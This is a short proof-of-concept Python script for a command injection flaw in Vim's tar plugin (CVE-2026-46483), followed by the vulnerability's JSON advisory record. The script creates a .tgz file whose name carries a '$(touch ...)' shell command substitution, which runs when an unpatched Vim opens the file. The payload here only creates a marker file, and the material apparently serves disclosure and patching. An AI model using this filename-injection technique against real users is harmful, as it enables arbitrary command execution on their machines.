CVE-2026-46483

#!/usr/bin/env python3 # PoC for CVE-2026-46483 import os # The exploit relies on a crafted filename that includes a shell command substitution # When Vim opens this file, the tar plugin executes: gunzip <filename> # Without proper escaping, the shell command inside the filename is executed. malicious_filename = "$(touch /tmp/vim_cve_2026_46483_pwned).tgz" with open(malicious_filename, 'w') as f: f.write("Malicious content inside.") print(f"Created file: {malicious_filename}") print("Open this file with vulnerable Vim to exploit.")

{"cve": {"id": "CVE-2026-46483", "sourceIdentifier": "[email protected]", "published": "2026-05-15T15:16:54.237", "lastModified": "2026-05-15T15:16:54.237", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vim is an open source, command line text editor. Prior to 9.2.0479, a command injection vulnerability exists in tar#Vimuntar() in\nruntime/autoload/tar.vim when decompressing .tgz archives on Unix-like systems. The function builds :!gunzip and :!gzip -d commands using shellescape(tartail) without the {special} flag, allowing a crafted archive filename to trigger Vim cmdline-special expansion and execute shell commands in the user's context. This vulnerability is fixed in 9.2.0479."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N", "baseScore": 3.6, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.0, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}, {"lang": "en", "value": "CWE-88"}]}], "references": [{"url": "https://github.com/vim/vim/commit/3fb5e58fbc63d86a3e65f1a141b0d67af2aa38a1", "source": "[email protected]"}, {"url": "https://github.com/vim/vim/releases/tag/v9.2.0479", "source": "[email protected]"}, {"url": "https://github.com/vim/vim/security/advisories/GHSA-2fpv-9ff7-xg5w", "source": "[email protected]"}]}}